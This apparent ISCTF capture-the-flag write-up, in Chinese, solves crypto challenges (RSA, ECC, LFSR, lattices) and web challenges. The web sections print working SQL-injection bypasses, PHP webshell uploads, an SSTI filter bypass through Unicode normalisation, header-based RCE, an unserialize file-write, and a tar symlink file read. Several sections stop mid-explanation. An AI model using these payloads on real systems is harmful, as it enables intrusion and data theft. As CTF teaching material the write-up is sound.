crypto
easy_RSA
rom Crypto.Util.number import *p = getPrime(1024)q = getPrime(1024)N = p*qe = 65537
msg = bytes_to_long(b"ISCTF{dummy_flag}")ct1 = pow(msg, e, N)ct2 = pow(msg, p+q, N)print(f"{N = }")print(f"{ct1 = }")print(f"{ct2 = }")
"""n =ct1 =ct2 ="""解题的关键在于找出 的指数 与已知数 之间的关系。根据欧拉函数 ,展开后得到:
移项可以得到 的表达式:
我们将这个关系带入 的公式:
根据欧拉定理 ,我们可以简化上面的式子:
结论:
我们现在拥有了针对同一个明文 、同一个模数 的两组密文:
此时,这变成了一个标准的 共模攻击 问题。我们有两个指数 和 。只要 (这通常是成立的),我们就可以使用扩展欧几里得算法找到整数 ,满足:
利用这两个系数,我们可以直接计算出明文:
Exp
import gmpy2from Crypto.Util.number import long_to_bytes
n =ct1 =ct2 =e = 65537def solve(): e1 = e e2 = N + 1 g, s1, s2 = gmpy2.gcdext(e1, e2) if g != 1: print("[-] GCD is not 1, specific handling required.") return m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N flag = long_to_bytes(m) print(f"[+] Flag: {flag.decode(errors='ignore')}")
if __name__ == '__main__': solve()Power tower
from Crypto.Util.number import *import randomfrom numpy import number
m = b'ISCTF{****************}'flag = bytes_to_long(m)n = getPrime(256)t = getPrime(63)l = pow(2,pow(2,t),n)c = flag ^ lprint(t)print(n)print(c)
'''t = 6039738711082505929n = 107502945843251244337535082460697583639357473016005252008262865481138355040617c = 114092817888610184061306568177474033648737936326143099257250807529088213565247'''我们要计算:
根据费马小定理(或者广义的欧拉定理):如果 是质数,那么对于任意整数 ,都有 。这意味着,在模 的世界里,指数是模 循环的。也就是:
因为 是质数,所以欧拉函数 。
所以,我们可以分两步计算 :
-
先计算降维后的指数:
这一步利用 Python 的 pow(2, t, n-1) 可以秒出。
-
再计算最终结果:,这一步利用 pow(2, E, n) 也可以秒出。
-
坑点:题目代码中虽然写着
n = getPrime(256),但这其实是一个陷阱。如果我们直接把 当作素数,计算 ,解出来的结果是错误的。通过isPrime(n)检查可以发现 实际上是一个合数。因此我们需要先分解 才能计算 。 -
phi:
exp
from Crypto.Util.number import isPrime, long_to_bytest = 6039738711082505929n = 107502945843251244337535082460697583639357473016005252008262865481138355040617c = 114092817888610184061306568177474033648737936326143099257250807529088213565247p1 = 127p2 = 841705194007p3 = n // (p1 * p2)assert n == p1 * p2 * p3assert isPrime(p1)assert isPrime(p2)assert isPrime(p3)phi = (p1 - 1) * (p2 - 1) * (p3 - 1)exp = pow(2, t, phi)l = pow(2, exp, n)m_int = c ^ lflag = long_to_bytes(m_int)print(f"Flag: {flag.decode()}")
小蓝鲨的LFSR系统
import secretsimport binascii
def simple_lfsr_encrypt(plaintext, init_state): mask = [random.randint(0,1) for _ in range(128)]
state = init_state.copy() for _ in range(256): feedback = sum(state[i] & mask[i] for i in range(128)) % 2 state.append(feedback)
key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2) for i in range(16))
keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)] return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask这道题的漏洞非常明显,属于逻辑漏洞:
- 无效的复杂运算:中间那段长达 256 次循环的 LFSR
state更新逻辑完全是无用的。加密密钥只依赖于mask。 - 密钥泄露:函数在返回密文的同时,竟然直接返回了
mask。- 因为
key是由mask生成的。 - 所以,攻击者可以直接拿到
mask-> 还原出key-> 解密密文。
- 因为
exp
from z3 import *import binascii
initState =outputState =ciphertext_hex =
# 关键修正:拼接完整的 LFSR 流stream = initState + outputState
# 2. Z3 求解 Masksolver = Solver()mask = [Int(f'm_{i}') for i in range(128)]
# 约束:Mask 只能是 0 或 1for m in mask: solver.add(Or(m == 0, m == 1))
# 约束:根据完整流建立方程# stream[i...i+127] * mask = stream[i+128]for i in range(128): dot = Sum([mask[j] * stream[i + j] for j in range(128)]) solver.add(dot % 2 == stream[i + 128])
# 3. 解密执行if solver.check() == sat: m_vals = [solver.model()[m].as_long() for m in mask] print("[+] Mask found!")
# 还原 Key key = bytes(int(''.join(str(b) for b in m_vals[i*8:(i+1)*8]), 2) for i in range(16))
# 解密 ct = binascii.unhexlify(ciphertext_hex) keystream = (key * (len(ct)//16 + 1))[:len(ct)] flag = bytes(c ^ k for c, k in zip(ct, keystream))
print(f"[+] FLAG: {flag.decode(errors='ignore')}")else: print("[-] No solution found.")沉迷数学的小蓝鲨
y² = x³ + 3x + 27 (mod p)
Q(0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167, 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080)
k= ?
最终flag请将解出k值的16进制转换为32位md5以ISCTF{}包裹提交首先,我们观察给出的参数:
- 。这是 secp256k1 的素数域 。
- 题目未给出 ,但根据 和题目背景,我们可以假设 是 secp256k1 的标准基点。
验证点是否在曲线上
我们将给定的 和标准 代入题目给出的方程 进行验证,发现它们都不在该曲线上。
计算实际满足的 值:
通过计算发现,对于 和 ,计算出的 是相同的。这意味着虽然题目宣称曲线是 ,但实际的点运算是在一条 的曲线上进行的。
这是一个典型的 Invalid Curve Attack(错误曲线攻击)场景,或者更准确地说是题目使用了一个弱曲线参数但未做检查。
我们需要在实际曲线 上求解离散对数问题(DLP):。
-
计算曲线的阶(Order): 使用 SageMath 计算 的阶,发现它不是一个大素数,而是包含许多小素数因子:
-
Pohlig-Hellman 攻击: 由于阶是光滑的(Smooth),我们可以利用 Pohlig-Hellman 算法,分别在每个小素数因子的子群上求解 DLP,最后通过中国剩余定理(CRT)恢复出 。
实际上,在这个题目中, 的值非常小,直接使用 SageMath 的
discrete_log函数甚至能在瞬间解出。
exp
from sage.all import *import hashlib
# secp256k1 参数p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2fGx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
# 题目给出的 QQx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167Qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080
a = 3
# 1. 计算实际的 b'# 既然 Q = kG,那么它们必须在同一条曲线上。# 我们用 G 来恢复这条曲线的 b 参数。b_prime = (Gy**2 - (Gx**3 + a*Gx)) % pprint(f"Actual b: {b_prime}")
# 2. 构造实际曲线E = EllipticCurve(GF(p), [a, b_prime])G_point = E(Gx, Gy)Q_point = E(Qx, Qy)
# 3. 计算阶并查看因子order = E.order()print(f"Curve Order: {order}")print(f"Factors: {factor(order)}")
# 4. 求解 DLP# 由于阶是光滑的,Sage 会自动使用 Pohlig-Hellman 算法k = G_point.discrete_log(Q_point)print(f"Found k: {k}")
# 5. 生成 Flag# 将 k 值的 16 进制转换为 32 位 md5k_hex = hex(k)[2:]print(f"k (hex): {k_hex}")
flag_hash = hashlib.md5(k_hex.encode()).hexdigest()print(f"Flag: ISCTF{{{flag_hash}}}")baby_math
from Crypto.Util.number import bytes_to_long
print(len(flag))R = RealField(1000)a,b = bytes_to_long(flag[:len(flag)//2]),bytes_to_long(flag[len(flag)//2:])x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)enc = a*cos(x)+b*sin(x)#1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52这是一个典型的整数关系问题 (Integer Relation Problem)。我们已知实数 , 和 ,并且存在整数 满足线性关系:
这类问题通常可以使用 格基规约 (Lattice Reduction) 算法,如 LLL 算法 来求解。
格的构造
我们构造一个格,使得目标向量(包含 和 )是格中的一个短向量。 考虑以下基向量:
其中 是一个很大的常数,用于保留实数的小数部分信息。
如果我们对这些基向量进行线性组合:
得到的向量 为:
忽略取整带来的微小误差,第三个分量近似为:
根据题目方程,括号内的值非常接近 0。因此,向量 近似为 。 相对于格基中其他巨大的向量(包含 的分量),向量 的长度非常小( 只有几百比特)。因此,LLL 算法可以将这个短向量找出来。
精度与参数 K 的选择
题目中给出的 enc 是一个高精度浮点数的字符串表示。我们需要注意 enc 的有效精度。
- 提供的
enc字符串长度约为 304 字符。 - 如果 取得太大(超过了
enc的精度),噪声会被放大,导致无法找到正确的整数关系。 - 如果 取得太小,可能无法区分出唯一的整数解。
经过测试,选取 可以成功恢复出 和 。
Exp
from sage.all import *from Crypto.Util.number import long_to_bytes
# 题目给出的数据x_val_str = "0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100"enc_val_str = "1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52"
# 设置高精度环境R = RealField(2000)x = R(x_val_str)enc = R(enc_val_str)
# 构造格# 这里的 K 需要根据 enc 的精度进行调整。# enc 大约有 300 位,但有效精度受到最后一位的限制。# 我们选择 10^260 作为缩放因子。K = 10**260
M = Matrix(ZZ, [ [1, 0, floor(K * cos(x))], [0, 1, floor(K * sin(x))], [0, 0, floor(K * enc)]])
# 使用 LLL 算法进行格基规约,并获取变换矩阵# 变换矩阵 U 告诉我们基向量是如何组合的B, U = M.LLL(transformation=True)
# 寻找解# 我们寻找的是 a*v1 + b*v2 - 1*v3 (或 +1*v3) 的组合# 所以我们检查变换矩阵 U 的每一行,看哪一行的第三个系数是 1 或 -1for i, u_row in enumerate(U): if abs(u_row[2]) == 1: # 对应的第一列和第二列就是 a 和 b a_cand = abs(int(B[i][0])) b_cand = abs(int(B[i][1]))
try: part1 = long_to_bytes(a_cand) part2 = long_to_bytes(b_cand) full_flag = part1 + part2 if b'flag' in full_flag or b'ISCTF' in full_flag: print(f"Found Flag: {full_flag.decode()}") except Exception as e: pass小蓝鲨的密码箱
题目分析
打开题目链接,我们可以看到一个“字符串加密服务”的页面。 页面要求用户输入三个参数 a 、 b 、 c 以及一段想要加密的文本 text 。
点击“加密”后,服务器会返回以下信息:
- 原文 : 你输入的 text 。
- 密文 : 你输入的 text 加密后的十六进制数据。
- Flag : Flag 的密文 (这是关键点)。
- 使用的参数 : 你刚刚输入的 a , b , c 。
漏洞发现
这道题的核心漏洞在于: 服务器使用用户提供的参数 a , b , c 来加密 Flag。
这意味着我们不需要破解原本复杂的加密算法,也不需要知道服务器默认的密钥。我们只需要构造一组特殊的参数,使得加密逻辑变得极其简单(线性或可逆),从而直接反推 Flag。
通过简单的测试(例如输入 text=“A” ),我们可以推测加密逻辑大致为:或者类似的模运算逻辑。
思路
我们要构造一组参数,让加密过程变成简单的“位偏移”或者“原文输出”。
如果我们设置:
- a = 1 (保持 的一次方)
- b = 1 (简单的加法偏移)
- c = 1000 (模数足够大,避免 ASCII 字符在运算后发生卷绕/溢出) 此时加密函数变为:
也就是说,每个字符的 ASCII 码值只增加了 1。
步骤
-
发送 Payload : 在网页表单中输入:
- a : 1
- b : 1
- c : 1000
- text : test (任意内容)
-
获取回显 : 服务器返回的 Flag 密文(Hex)为: 4a 54 44 55 47 7c 38 …
-
解密 : 由于加密逻辑是 ,解密逻辑就是 。
- 0x4a (74) -> 73 (‘I’)
- 0x54 (84) -> 83 (‘S’)
- 0x44 (68) -> 67 (‘C’)
- …
小蓝鲨的RSA密文
原题里有
c = (m**3 + a2*m**2 + a1*m + a0) % N其中
m是 16 字节 AES key 转成的整数,最多a2大约是 量级,a2*m^2约a1*m、a0更小
而 NNN 是 1024 位的大数(≈21024\approx 2^{1024}≈21024)。 所以整个多项式值远小于 NNN,不会发生模回绕,于是直接有:
2. 利用已知的高位信息约束 m 的范围
已知:
a2_high = a2 >> LOW_BITS # LOW_BITS = 16a2_high = 9012778所以:
另一方面,由等式:
移项得到:
把 的区间代入:
记:
则我们要的 mmm 满足:
又因为这两个函数在 m≥0m \ge 0m≥0 时都是单调递减的(主导项是 −m3-m^3−m3),所以各自都有唯一根 r1,r2r_1, r_2r1,r2:
于是 这个区间里。
对 分别在区间上做二分,找到“最后一个使 的整数”:
m1 = 155455820692697783953491152103673434341m2 = 155455820692697783953491152103673412496m1 - m2 = 21845 # = 0x5555所以只要枚举这 2 万多 个 m 值就行了。
3. 从 m 反解 a2,筛出唯一解
对每个候选 m:
- 要求分子能被 整除(否则 不是整数)
- 并且
这样筛完只剩下唯一的一对:
m = 155455820692697783953491152103673430935a2 = 590661429227检查一下:
m**3 + a2*m**2 + a1*m + a0 == c # True4. 解出 AES key,解密得到 flag
m 是从 16 字节 aes_key 转来的:
key = m.to_bytes(16, 'big')# key = b't\xf3\xb3\xb6\xef\xafcO\x06\xd6V\xa3\xf5\xc8\x03\x97'然后用题里给的 iv 和 ct 做 AES-CBC 解密、去 padding:
cipher = AES.new(key, AES.MODE_CBC, iv=iv)pt_padded = cipher.decrypt(ct)pt = unpad(pt_padded, 16)# b'ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}'web
Who am I
- 信息收集
访问目标网站,在登录逻辑或通过扫描中发现了一个异常的重定向或隐藏路径。最终在 /272e1739b89da32e983970ece1a086bd 路径下发现了 Python Flask 应用的源代码泄漏。
**2. 源码分析 **
通过审计泄露的 app.py (或者页面上显示的 mian.py ),发现了两个关键的漏洞点:
漏洞点 A: 全局变量覆盖 (/operate)
@app.route('/operate',methods=['GET'])def operate(): username=request.args.get('username') password=request.args.get('password') confirm_password=request.args.get('confirm_password') # 关键点:如果 username 在 globals() 全局变量中,就使用 pydash.set_ 修改其属性 if username in globals() and "old" not in password: Username=globals()[username] try: pydash.set_(Username,password,confirm_password) return "oprate success" except: return "oprate failed"这段代码允许攻击者通过 pydash.set_ 修改当前运行环境中任意全局对象的属性。例如,我们可以修改 app (Flask实例) 内部的配置。
漏洞点 B: 受限的文件包含/模板渲染 (/impression)
@app.route('/impression',methods=['GET'])def impression(): point=request.args.get('point') # 限制长度不能超过5 if len(point) > 5: return "Invalid request" # 过滤了特殊字符,无法使用目录穿越 ../ 或 / List=["{","}",".","%","<",">","_"] for i in point: if i in List: return "Invalid request" return render_template(point)这里存在一个受限的 LFI (Local File Inclusion)。虽然 render_template 可以渲染文件,但由于过滤了 . 和 / 且长度限制在 5 以内,我们无法直接通过 ../../flag 或 /flag 来读取 flag。
3. 漏洞利用思路
我们需要利用 全局变量覆盖 来配合 受限的模板渲染 。
-
突破路径限制 : 由于 /impression 无法输入路径(只能输入文件名),我们需要改变 Flask 寻找模板的“根目录”。 Flask 使用 Jinja2 作为模板引擎,其加载器 ( jinja_loader ) 有一个 searchpath 属性,是一个列表,存储了查找模板的目录路径。
-
攻击链 :
- 利用 /operate 接口,将 app.jinja_loader.searchpath 的第一个元素(索引 0)修改为系统根目录 / 。
- 利用 /impression 接口,请求渲染名为 flag 的模板。
- 此时,Flask 会在搜索路径(即 / )下查找名为 flag 的文件,从而成功加载 /flag 。
4. 解题步骤 (Solution)
第一步:修改 Jinja2 模板搜索路径
发送请求将 searchpath[0] 修改为 / 。
- URL : /operate
- Payload :
- username : app (目标全局变量)
- password : jinja_loader.searchpath.0 (目标属性路径)
- confirm_password : / (目标值)
curl "http://challenge.bluesharkinfo.com:24577/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/"预期响应 : oprate success
第二步:读取 Flag
发送请求渲染 flag 文件。
- URL : /impression
- Payload :
- point : flag
curl "http://challenge.bluesharkinfo.com:24577/impression?point=flag"flag到底在哪
- 信息收集
访问题目链接 http://challenge.bluesharkinfo.com:24038/,直接返回 403 Forbidden,提示可能是爬虫限制或权限问题。
常规思路检查 robots.txt:
GET /robots.txt HTTP/1.1Host: challenge.bluesharkinfo.com:24038返回内容:
User-agent: *Disallow: /admin/login.php发现隐藏的后台登录地址 /admin/login.php。
2. SQL 注入绕过登录
访问 http://challenge.bluesharkinfo.com:24038/admin/login.php,是一个管理员登录界面。
尝试使用常见的 SQL 注入万能密码进行测试。
在密码框输入以下 Payload 成功绕过登录:
- Username:
admin - Password:
1' OR '1'='1
登录成功后,页面显示一个文件上传表单:
<h2>📤 上传 PHP Webshell</h2><form method="POST" enctype="multipart/form-data">...3. 文件上传 GetShell
利用 Python 脚本保持 Session 并上传 Webshell。
关键点:
- 需要先在
/admin/login.php使用 SQL 注入 Payload 获取有效的PHPSESSID。 - 携带该 Cookie 向
/upload.php(或者直接在登录后的表单提交地址) 上传 PHP 文件。
上传脚本核心逻辑:
import requests
url_login = "http://challenge.bluesharkinfo.com:24038/admin/login.php"url_upload = "http://challenge.bluesharkinfo.com:24038/upload.php"
s = requests.Session()# 1. 登录绕过s.post(url_login, data={"username": "admin", "password": "1' OR '1'='1"})
# 2. 上传 Webshellfiles = {"shell": ("cmd.php", "<?php system($_GET['c']); ?>", "application/x-php")}s.post(url_upload, files=files)上传成功后,服务器返回 Webshell 路径:/cmd.php。
4. 获取 Flag
访问 Webshell 并执行系统命令寻找 Flag。
-
寻找 Flag 文件位置: URL:
http://challenge.bluesharkinfo.com:24038/cmd.php?c=find / -name flag*输出结果中发现:
/home/flag -
读取 Flag: URL:
http://challenge.bluesharkinfo.com:24038/cmd.php?c=cat /home/flag输出:
ISCTF{90d8667f-a7fa-44fe-9f8e-673d6f989b01}
b@by n0t1ce b0ard
漏洞分析
该漏洞存在于 registration.php 文件中。在处理用户注册请求时,代码未对上传的头像文件进行任何后缀名或文件类型的验证,直接将其保存到服务器上。
漏洞代码片段 (registration.php):
// 接收表单数据extract($_POST);// ...// 获取文件名$imageName=$_FILES['img']['name'];// ...// 创建目录并移动上传的文件mkdir("images/$e");move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);攻击者可以构造一个包含恶意 PHP 代码的文件(例如 shell.php),在注册时将其作为头像上传。上传成功后,文件会被保存在 /images/<用户邮箱>/ 目录下。攻击者可以通过访问该路径执行任意 PHP 代码。
复现步骤
-
构造 Payload: 准备一个 PHP Webshell,例如:
<?php system($_GET['cmd']); ?> -
发送请求: 向
registration.php发送 POST 请求,包含必要的注册信息,并将img字段设置为上述 PHP 文件。 -
获取 Shell: 注册成功后,Webshell 的路径为
http://目标IP:端口/images/<邮箱>/shell.php。 -
执行命令: 访问
http://目标IP:端口/images/<邮箱>/shell.php?cmd=cat /flag读取 flag。
难过的 bottle
WAF 分析
经过进一步测试,发现服务器部署了一个非常严格的黑名单(WAF),过滤了绝大多数的小写字母和特殊符号。
黑名单包含:
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]允许的字符: a, f, g, l 以及数字和部分符号(如 ., _, (, ), +, ', ")。
这意味着我们无法直接使用 import, os, popen, read 等关键词,也无法直接书写包含这些字母的字符串(如 'os', 'cat /flag')。
绕过技巧:Unicode 等价性 (Normalization)
Python 3 在处理标识符(变量名、函数名)时,支持 Unicode 字符。如果一个 Unicode 字符通过 NFKC 标准化 后对应 ASCII 字符,Python 解释器会将其视为该 ASCII 字符。
利用这一特性,我们可以用“长得像”的 Unicode 字符替换黑名单中的字符,从而绕过 WAF 检测。
方法一:使用 Unicode 变体 (上标/下标/特殊符号)
寻找与 ASCII 字符长得不一样但标准化后相同的字符。
替换字符示例:
c->ᶜ(U+1D9C)h->ʰ(U+02B0)r->ʳ(U+02B3)i->ᵢ(U+1D62)m->ᵐ(U+1D50)p->ᵖ(U+1D56)o->º(U+00BA)t->ᵗ(U+1D57)e->ᵉ(U+1D49)n->ⁿ(U+207F)
构造 Payload:
{{ __ᵢᵐᵖºʳᵗ__(ᶜʰʳ(111)+ᶜʰʳ(115)).ᵖºᵖᵉⁿ(ᶜʰʳ(99)+ᶜʰʳ(97)+ᶜʰʳ(116)+ᶜʰʳ(32)+ᶜʰʳ(47)+ᶜʰʳ(102)+ᶜʰʳ(108)+ᶜʰʳ(97)+ᶜʰʳ(103)).ʳᵉaᵈ() }}- 这里的
ᶜʰʳ对应chr __ᵢᵐᵖºʳᵗ__对应__import__- 字符串参数通过
chr(code)拼接生成。
方法二:使用全角字符 (Full-width Characters)
全角字符(Full-width forms)通常用于东亚文字排版,它们的 Unicode 编码范围是 U+FF01 到 U+FF5E。这些字符在 NFKC 标准化下也会转换为对应的半角 ASCII 字符。
全角字符示例:
a(U+0061) ->a(U+FF41)b(U+0062) ->b(U+FF42)- …
z(U+007A) ->z(U+FF5A)
由于 WAF 只过滤了半角的小写字母,使用全角字母可以完美绕过检测,且 Python 能够正常识别它们为代码。
替换逻辑:
def to_fullwidth(char): # ASCII 字符偏移量 0xFEE0 得到全角字符 return chr(ord(char) + 0xFEE0)构造 Payload:
{{ __import__(chr(111)+chr(115)).popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}__import__->__import__chr->chrpopen->popenread->read(注意a可以用全角也可以用半角,因为半角a未被过滤)
exp
import zipfile
def create_fullwidth_payload(): # 黑名单字符集 blacklist = set(["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z"])
def bypass_id(s): res = "" for char in s: if char in blacklist: # 转换为全角字符: ASCII + 0xFEE0 res += chr(ord(char) + 0xFEE0) else: res += char return res
# 1. 处理函数名 func_chr = bypass_id("chr") # -> chr func_import = bypass_id("__import__") # -> __import__ func_popen = bypass_id("popen") # -> popen func_read = bypass_id("read") # -> read
# 2. 构造参数字符串 'os' 和 'cat /flag' # 使用 chr() 拼接,避免直接出现字符 def make_str(s): return "+".join([f"{func_chr}({ord(c)})" for c in s])
str_os = make_str("os") str_cmd = make_str("cat /flag")
# 3. 组合 Payload payload = f"{{{{ {func_import}({str_os}).{func_popen}({str_cmd}).{func_read}() }}}}" print("Payload:", payload)
# 4. 写入文件 with zipfile.ZipFile('exp.zip', 'w') as zf: zf.writestr('exp.txt', payload.encode('utf-8'))
if __name__ == '__main__': create_fullwidth_payload()这个脚本可以用来查找任何给定字符的可用 Unicode 变体(如上标、下标、全角字符等),这些变体在 Python 中会被标准化为原始字符。
import unicodedata
def search_variants(target_chars): """ Search for Unicode characters that normalize to the target characters but are NOT the target characters themselves. """ found = {char: [] for char in target_chars}
print(f"[*] Searching for variants for: {', '.join(target_chars)}")
# Scan Basic Multilingual Plane (BMP) and a bit more for code in range(0x1FFFF): char = chr(code) try: # NFKC is what Python uses for identifier normalization norm = unicodedata.normalize('NFKC', char) except: continue
if norm in target_chars and char != norm: # Check if it's a valid identifier part in Python if char.isidentifier(): found[norm].append(char)
print("\n[+] Found Variants (Valid Identifiers):") for char in target_chars: variants = found[char] if variants: # Sort by length of representation to find simple ones # Pick top 5 display_vars = variants[:5] var_str = ", ".join([f"{v} (U+{ord(v):04X})" for v in display_vars]) print(f" '{char}' -> {var_str}") else: print(f" '{char}' -> [!] No valid identifier variants found")
if __name__ == '__main__': # The blacklist from the CTF challenge blacklist = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z"] search_variants(blacklist)ezrce
核心原理
题目代码(根据常规 CTF 经验及 web 引用)如下:
if (preg_match('/^[A-Za-z\(\)_;]+$/',$code)) { eval($code);}限制条件 :只能使用 字母 、 圆括号 () 、 下划线 _ 和 分号 ; 。 难点 :不能使用引号(无法直接定义字符串)、数字、 $ (无法使用变量)、 / (路径)等。
解题思路
我们利用 HTTP 头注入 和 PHP 的 getallheaders() 函数来绕过限制。
-
Payload : system(implode(getallheaders()));
- getallheaders() : 返回所有 HTTP 请求头的数组(只包含字母和括号,符合正则)。
- implode() : 将数组元素拼接成一个长字符串。
- system() : 执行这个长字符串作为 Shell 命令。
-
攻击方式 :
- 在 HTTP 请求头中插入我们要执行的命令(如 cat /flag )。
- 为了防止拼接后的其他头信息干扰命令执行,我们在命令后加上 ; # (Shell 中的命令分隔符和注释符)。
- 由于 implode 会拼接所有头的值,只要我们的恶意头排在前面(或者即使在中间,只要前面没有破坏 Shell 语法的字符),命令就会执行。
exp
import requestsimport re
url = "http://challenge.bluesharkinfo.com:21131/"
def get_flag(): # 1. 构造符合正则 /^[A-Za-z\(\)_;]+$/ 的 PHP Payload # system(implode(getallheaders())); 会将所有 HTTP 头的值拼接入 system() 执行 payload = "system(implode(getallheaders()));"
# 2. 在 HTTP 头中注入 Shell 命令 # 'cat /flag' 是我们要执行的命令 # '; #' 用于结束命令并注释掉后续拼接进来的其他 HTTP 头(如 User-Agent 等) # 'A-Cmd' 是自定义头名,首字母 A 是为了尽量让它在 implode 拼接时靠前(视服务器排序策略而定) headers = { 'A-Cmd': 'cat /flag; #', 'User-Agent': 'Exploit/1.0' # 其他头会被 # 注释掉 }
print(f"[*] Sending payload to {url}...") try: response = requests.get(url, params={'code': payload}, headers=headers)
# 使用正则提取 Flag flag_match = re.search(r'ISCTF\{[^}]+\}', response.text) if flag_match: print(f"[+] Flag found: {flag_match.group(0)}") else: print("[-] Flag not found. Response snippet:") print(response.text[:200])
except Exception as e: print(f"[!] Error: {e}")
if __name__ == "__main__": get_flag()来签个到吧
先代码审计
-
入口点 ( src/index.php ) : 代码中存在如下逻辑:
if (str_starts_with($s, "blueshark:")) {$ss = substr($s, strlen("blueshark:"));$o = @unserialize($ss);// ...}如果 POST 参数 shark 以 blueshark: 开头,剩余部分会被传入 unserialize() 函数。这直接导致了反序列化漏洞。
-
利用链 ( src/classes.php ) : 存在一个 FileLogger 类,其 __destruct() 方法会将 logfile 指定的文件:
class FileLogger {public $logfile = "/tmp/notehub.log";public $content = "";// ...public function __destruct() {if ($this->content) {file_put_contents($this->logfile, $this->content, FILE_APPEND);}}}我们可以利用这个类,将恶意的 PHP 代码写入 Web 目录下的文件(例如 shell.php ),从而获得 Webshell。
攻击过程
-
构造 Payload : 我编写了一个脚本生成序列化数据,创建了一个 FileLogger 对象,将 logfile 设置为 /var/www/html/shell.php , content 设置为 。
Payload:
Terminal window blueshark:O:10:"FileLogger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}
题目提供了一个文件分享网站,允许用户上传图片(png, avif 等)、文本(txt)以及 打包格式(tar) 。网站特别说明:“上传后会自动帮你解压到目录”。
漏洞分析
该题目的核心漏洞在于服务器处理 tar 文件解压时,没有对压缩包内的文件类型做安全检查。Python 的 tarfile 模块在 extractall() 时,默认会保留压缩包内的 符号链接(Symbolic Link) 。
如果攻击者构造一个包含指向 /flag (或其他敏感文件)的符号链接的 tar 包,服务器解压后,会在上传目录下生成一个指向 /flag 的软链接。当我们通过 Web 访问这个软链接文件时,服务器会读取链接指向的目标文件内容并返回,从而导致任意文件读取。
解题步骤
第一步:构造恶意 Tar 包
我们需要编写一个 Python 脚本,利用 tarfile 库创建一个包含恶意软链接的 tar 文件。
import tarfile
def make_tar(filename): with tarfile.open(filename, "w") as tar: # 创建一个名为 link_flag.txt 的文件 # 类型设置为符号链接 (SYMTYPE) # 链接指向服务器根目录下的 /flag info = tarfile.TarInfo("link_flag. txt") info.type = tarfile.SYMTYPE info.linkname = "/flag" tar.addfile(info)
# 顺便读取一下源码 app.py info_app = tarfile.TarInfo ("link_app.txt") info_app.type = tarfile.SYMTYPE info_app.linkname = "../app.py" # 猜测源码在上一级目录 tar.addfile(info_app)
make_tar("exploit.tar")print("Payload exploit.tar 生成成功!")第二步:上传 Payload
将生成的 exploit.tar 通过网站首页的上传功能上传。
第三步:读取 Flag
上传成功后,服务器自动解压。此时访问对应的解压路径即可读取 flag。
根据题目逻辑,文件会被解压到上传目录,我们可以直接通过 /download/
Bypass
源码审计
核心代码如下:
class FLAG{ private $a; protected $b; // ... public function __destruct(){ $a = (string)$this->a; $b = (string)$this->b; if ($this->check($a,$b)){ $a("", $b); } else{ echo "Try again!"; } } private function check($a, $b) { // 黑名单过滤 $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open']; $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f']; // ... 正则匹配 ... }}漏洞点 : __destruct 方法中,在通过 check 函数检查后,会执行 b) 。这实际上是在调用函数 b 作为参数传入。
难点 : 我们需要找到一个函数 b ,既能绕过极其严格的黑名单,又能执行任意代码(RCE)。
绕过思路
第一步:选择函数 $a
$blocked_a 过滤了 s ,这导致绝大多数命令执行函数无法使用:
- system (含 s) -> ❌
- passthru (含 s) -> ❌
- shell_exec (含 s) -> ❌
- assert (含 s) -> ❌
- call_user_func (含 s) -> ❌ 同时过滤了 p (单独字符) 和 exec 。
突破口 : create_function
- create_function 在 PHP < 8.0 中可用(本题环境通常为 PHP 5/7)。
- 它接受两个参数: code 。
- 内部实现类似于 eval(“function lambda_func(args) { code }”); 。
- 关键点 : create_function 这个字符串本身 不包含 a = “create_function” 。此时代码执行变为 create_function("", $b) 。
第二步:构造 Payload $b
create_function("", b 中注入代码。 通常利用方式是闭合函数定义: $b = ’} original_payload; /*’ 。 这样 eval 执行的代码变为:
function __lambda_func() { } original_payload; /* }original_payload 会被立即执行。
